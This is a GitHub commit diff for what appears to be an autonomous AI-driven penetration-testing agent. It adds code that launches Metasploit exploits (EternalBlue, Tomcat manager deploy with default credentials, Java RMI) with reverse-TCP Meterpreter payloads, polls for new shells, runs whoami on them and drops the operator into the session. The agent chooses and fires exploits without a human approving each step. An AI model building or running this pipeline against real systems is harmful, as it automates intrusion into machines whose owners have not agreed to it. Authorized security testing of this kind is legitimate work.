Skip to content

Commit bd18b14

Browse files
committed
Release v5.0.0 — Phase 5 complete
2 parents 7048efe + 9723102 commit bd18b14

5 files changed

Lines changed: 154 additions & 78 deletions

File tree

agent/action_executor.py

Lines changed: 132 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -113,12 +113,117 @@ def _execute_recon(self, decision: Dict):
113113

114114
# ── Phase 3: Exploitation ─────────────────────────────────────────────
115115

116+
@staticmethod
117+
def _get_local_ip() -> str:
118+
import socket as _sock
119+
try:
120+
s = _sock.socket(_sock.AF_INET, _sock.SOCK_DGRAM)
121+
s.connect(("8.8.8.8", 80))
122+
return s.getsockname()[0]
123+
except Exception:
124+
return "0.0.0.0"
125+
finally:
126+
try:
127+
s.close()
128+
except Exception:
129+
pass
130+
131+
132+
def _handle_new_session(self, sid: str, sinfo: dict, via_module: str):
133+
"""Banner + SESSION_OPENED event for a newly detected MSF session."""
134+
session_host = sinfo.get("session_host", sinfo.get("target_host", self.state.target))
135+
whoami_out = "N/A"
136+
try:
137+
session_obj = self.msf_client.sessions.session(sid)
138+
stype = sinfo.get("type", "")
139+
arch = sinfo.get("arch", "")
140+
if stype == "meterpreter" and arch == "java":
141+
whoami_out = session_obj.run_with_output(
142+
'execute -f /bin/sh -a "-c whoami" -i', timeout=8
143+
).strip()
144+
else:
145+
whoami_out = session_obj.run_with_output("whoami", timeout=8).strip()
146+
except Exception:
147+
pass
148+
149+
w = 42
150+
print(f"\n{'═'*w}╗")
151+
print(f"║{'SHELL OBTENU - ACCES CONFIRME':^{w}}║")
152+
print(f"╠{'═'*w}╣")
153+
print(f"║ Host : {session_host:<{w-11}}║")
154+
print(f"║ Via : {via_module.split('/')[-1]:<{w-11}}║")
155+
print(f"║ User : {whoami_out:<{w-11}}║")
156+
print(f"║ Session : {sid:<{w-11}}║")
157+
print(f"╠{'═'*w}╣")
158+
print(f"║ {'msfconsole → sessions -i ' + sid:<{w-1}}║")
159+
print(f"╚{'═'*w}\n")
160+
161+
self.bus.publish(Event(
162+
type=EventType.SESSION_OPENED,
163+
data={"session_id": sid, "host": session_host,
164+
"info": sinfo.get("info", ""), "via_exploit": via_module},
165+
source="msf_executor",
166+
))
167+
168+
# Modules that require LHOST — configured via RPC payload object
169+
_LHOST_MODULES = {
170+
"exploit/multi/http/tomcat_mgr_deploy": {
171+
"payload": "java/meterpreter/reverse_tcp",
172+
"lport": 4444,
173+
"extra": {"HttpUsername": "tomcat", "HttpPassword": "tomcat"},
174+
},
175+
"exploit/multi/misc/java_rmi_server": {
176+
"payload": "java/meterpreter/reverse_tcp",
177+
"lport": 4446,
178+
"extra": {},
179+
},
180+
"exploit/windows/smb/ms17_010_eternalblue": {
181+
"payload": "windows/x64/meterpreter/reverse_tcp",
182+
"lport": 4445,
183+
"extra": {},
184+
},
185+
}
186+
187+
def _execute_msf_module(self, module_name: str, target_ip: str, port: str,
188+
payload_name: str, lhost: str, lport: int) -> str:
189+
try:
190+
module_path = module_name.split("/", 1)[1] # strip "exploit/"
191+
exploit = self.msf_client.modules.use("exploit", module_path)
192+
exploit["RHOSTS"] = target_ip
193+
exploit["RPORT"] = str(port)
194+
195+
cfg = self._LHOST_MODULES.get(module_name, {})
196+
for k, v in cfg.get("extra", {}).items():
197+
exploit[k] = v
198+
199+
payload = self.msf_client.modules.use("payload", payload_name)
200+
payload["LHOST"] = lhost
201+
payload["LPORT"] = str(lport)
202+
203+
result = exploit.execute(payload=payload)
204+
205+
for _ in range(30):
206+
time.sleep(1)
207+
sessions = self.msf_client.sessions.list
208+
if sessions:
209+
for sid, sinfo in sessions.items():
210+
sid_str = str(sid)
211+
if sid_str not in self.state.sessions:
212+
self.state.sessions[sid_str] = sinfo
213+
self._handle_new_session(sid_str, sinfo, module_name)
214+
return "success"
215+
216+
return "completed"
217+
218+
except Exception as exc:
219+
logger.warning(f"MSF module execute error: {exc}")
220+
return "error"
221+
116222
def _execute_exploit(self, decision: Dict):
117223
host = decision.get("target_host", self.state.target)
118224
port = str(decision.get("target_port", 0))
119225
module = decision.get("module_or_cmd", "")
120226
tool = decision.get("tool", "").lower()
121-
key = (host, port, module)
122227

123228
if self.state.has_tried(host, int(port) if port.isdigit() else 0, module):
124229
logger.info(f"Skipping already-tried exploit: {module} on {host}:{port}")
@@ -128,67 +233,45 @@ def _execute_exploit(self, decision: Dict):
128233

129234
if tool == "metasploit" and self.msf_client:
130235
try:
131-
from exploitation.metasploit_engine import MetasploitEngine
132-
eng = MetasploitEngine()
133-
eng._client = self.msf_client
134-
result = eng.run_module(host, port, module)
236+
lhost_cfg = self._LHOST_MODULES.get(module)
237+
if lhost_cfg:
238+
# Modules requiring LHOST → RPC API with separate payload object
239+
lhost = self._get_local_ip()
240+
status = self._execute_msf_module(
241+
module, host, port,
242+
lhost_cfg["payload"], lhost, lhost_cfg["lport"],
243+
)
244+
result = {"status": status, "output": f"RPC execute: {module}"}
245+
else:
246+
# vsftpd and other bind-shell modules → Phase 3 MetasploitEngine via RPC
247+
from exploitation.metasploit_engine import MetasploitEngine
248+
eng = MetasploitEngine()
249+
eng._client = self.msf_client
250+
result = eng.run_module(host, port, module)
251+
252+
print(f"[AGENT] Exploit: {module} on {host}:{port}")
253+
print(f"[AGENT] Result: {result.get('status')}{result.get('output','')[:80]}")
254+
135255
if result.get("status") == "success":
136256
self.state.exploits_success.append({"host": host, "module": module})
137257
self.bus.publish(Event(
138258
type=EventType.EXPLOIT_SUCCESS,
139259
data={"host": host, "port": port, "module": module},
140260
source="executor",
141261
))
142-
# Wait 8s — Meterpreter payloads (Tomcat, java) are slower to callback
143-
time.sleep(8)
144-
try:
262+
if lhost_cfg is None:
263+
# LHOST modules handle session detection internally;
264+
# only check here for Phase 3 bind-shell modules
265+
time.sleep(5)
145266
sessions = self.msf_client.sessions.list or {}
146-
print(f"[DEBUG] Sessions après exploit : {sessions}")
147267
for sid, sinfo in sessions.items():
148268
sid_str = str(sid)
149269
if sid_str not in self.state.sessions:
150270
self.state.sessions[sid_str] = sinfo
151-
session_host = sinfo.get("session_host",
152-
sinfo.get("target_host", host))
153-
via = sinfo.get("via_exploit", module)
154-
155-
# Confirm access with quick commands
156-
whoami_out, id_out, hostname_out = "N/A", "N/A", "N/A"
157-
try:
158-
sess_obj = self.msf_client.sessions.session(sid_str)
159-
whoami_out = sess_obj.run_with_output("whoami", timeout=8).strip()
160-
id_out = sess_obj.run_with_output("id", timeout=8).strip()
161-
hostname_out = sess_obj.run_with_output("hostname", timeout=8).strip()
162-
except Exception:
163-
pass
164-
165-
# Shell banner
166-
w = 42
167-
print(f"\n{'═'*w}╗")
168-
print(f"║{'SHELL OBTENU - ACCES CONFIRME':^{w}}║")
169-
print(f"╠{'═'*w}╣")
170-
print(f"║ Host : {session_host:<{w-11}}║")
171-
print(f"║ Via : {via:<{w-11}}║")
172-
print(f"║ User : {whoami_out:<{w-11}}║")
173-
print(f"║ Session : {sid_str:<{w-11}}║")
174-
print(f"╠{'═'*w}╣")
175-
print(f"║ {'msfconsole → sessions -i ' + sid_str:<{w-1}}║")
176-
print(f"╚{'═'*w}\n")
177-
178-
self.bus.publish(Event(
179-
type=EventType.SESSION_OPENED,
180-
data={
181-
"session_id": sid_str,
182-
"host": session_host,
183-
"info": sinfo.get("info", ""),
184-
"via_exploit": via,
185-
},
186-
source="exploit_executor",
187-
))
188-
except Exception as exc:
189-
logger.debug(f"Post-exploit session check failed: {exc}")
271+
self._handle_new_session(sid_str, sinfo, module)
190272
except Exception as exc:
191-
logger.warning(f"Exploit error: {exc}")
273+
logger.warning(f"Exploit error [{module}]: {exc}")
274+
192275
elif tool == "hydra":
193276
self._run_hydra(host, int(port) if port.isdigit() else 22,
194277
decision.get("module_or_cmd", "ssh"))

agent/reactive_agent.py

Lines changed: 6 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -245,7 +245,7 @@ def run(self) -> MissionState:
245245
break
246246

247247
cycle += 1
248-
print(f"[DEBUG] actions_done au démarrage cycle {cycle}: {len(self.state.actions_done)} entrées")
248+
logger.debug(f"Cycle {cycle}: {len(self.state.actions_done)} actions done")
249249

250250
# Monitor MSF sessions
251251
if self.msf_client:
@@ -319,18 +319,11 @@ def _offer_interactive_shell(self):
319319
except (EOFError, KeyboardInterrupt):
320320
choice = "n"
321321
if choice == "o":
322-
sid = session_ids[0]
323-
print(f"[AGENT] Ouverture session {sid} dans msfconsole...")
324-
import subprocess
325-
try:
326-
subprocess.run(
327-
["msfconsole", "-q", "-x", f"sessions -i {sid}"]
328-
)
329-
except FileNotFoundError:
330-
print("[AGENT] msfconsole non trouvé. Connecte-toi manuellement :")
331-
print(f" msfconsole -q -x 'sessions -i {sid}'")
332-
except KeyboardInterrupt:
333-
print("\n[AGENT] Shell interactif fermé")
322+
import os
323+
session_id = session_ids[-1]
324+
print(f"\n[AGENT] Ouverture shell interactif session {session_id}...")
325+
print(f"[AGENT] Tape 'exit' pour quitter le shell\n")
326+
os.system(f'msfconsole -q -x "sessions -i {session_id}"')
334327

335328
def _force_resolution(self):
336329
"""Called after 5 consecutive skips — force post_exploit or mission_complete."""

exploitation/engine.py

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -136,7 +136,6 @@ def run(self) -> List[Dict[str, Any]]:
136136
time.sleep(5)
137137
sessions_dict = self.msf_client.sessions.list
138138
self.session_ids = [str(k) for k in sessions_dict.keys()] if sessions_dict else []
139-
print(f"[DEBUG] Sessions récupérées dans engine.py : {sessions_dict}")
140139
logger.info(f"MSF session IDs captured: {self.session_ids}")
141140
if self.session_ids:
142141
self.session.results["msf_session_ids"] = self.session_ids

exploitation/metasploit_engine.py

Lines changed: 15 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -147,21 +147,29 @@ def run_module(self, target: str, port: str, module_path: str) -> Dict[str, Any]
147147
mod["RPORT"] = int(port)
148148

149149
# Configure payload based on module
150+
# Honour overrides set by ActionExecutor (LHOST/LPORT/PAYLOAD)
150151
post_sleep = 5
151152
if module_type == "exploit":
152153
cfg = MODULE_PAYLOADS.get(module_path, DEFAULT_EXPLOIT_PAYLOAD)
153154
post_sleep = cfg.get("sleep", 5)
154155
lhost = get_local_ip()
155156

156-
payload = client.modules.use("payload", cfg["payload"])
157-
if cfg.get("needs_lhost"):
158-
payload["LHOST"] = lhost
159-
if cfg.get("lport"):
160-
payload["LPORT"] = cfg["lport"]
157+
# Allow caller to override payload/lhost/lport
158+
payload_name = getattr(self, "_payload_override", None) or cfg["payload"]
159+
lport_val = getattr(self, "_lport_override", None) or cfg.get("lport")
160+
lhost_val = getattr(self, "_lhost_override", None) or (lhost if cfg.get("needs_lhost") else None)
161+
162+
payload = client.modules.use("payload", payload_name)
163+
if lhost_val:
164+
payload["LHOST"] = lhost_val
165+
mod["LHOST"] = lhost_val
166+
if lport_val:
167+
payload["LPORT"] = lport_val
168+
mod["LPORT"] = lport_val
161169

162170
logger.info(
163-
f"MSF exploit: {module_path} | payload={cfg['payload']}"
164-
+ (f" | LHOST={lhost}:{cfg.get('lport','')}" if cfg.get("needs_lhost") else "")
171+
f"MSF exploit: {module_path} | payload={payload_name}"
172+
+ (f" | LHOST={lhost_val}:{lport_val}" if lhost_val else "")
165173
)
166174
raw = mod.execute(payload=payload)
167175
else:

post_exploitation/engine.py

Lines changed: 1 addition & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -89,13 +89,7 @@ def __init__(
8989
def run(self) -> Dict[str, Any]:
9090
console.print(Rule("[bold red]Phase 4 — Post-Exploitation[/bold red]"))
9191

92-
# Debug: show direct sessions list and received session IDs
93-
if self.msf_client:
94-
try:
95-
print(f"[DEBUG] Sessions list direct : {self.msf_client.sessions.list}")
96-
except Exception as exc:
97-
print(f"[DEBUG] Sessions list error: {exc}")
98-
else:
92+
if not self.msf_client:
9993
# Standalone mode (--post-exploit-only): try to connect
10094
try:
10195
from exploitation.metasploit_engine import start_msfrpcd
@@ -104,7 +98,6 @@ def run(self) -> Dict[str, Any]:
10498
except Exception as exc:
10599
logger.warning(f"[Phase 4] Standalone MSF connect failed: {exc}")
106100

107-
print(f"[DEBUG] Session IDs reçus : {self.session_ids}")
108101
logger.info(f"[Phase 4] Session IDs: {self.session_ids}")
109102

110103
msf_sessions = self._get_msf_sessions()

0 commit comments

Comments
 (0)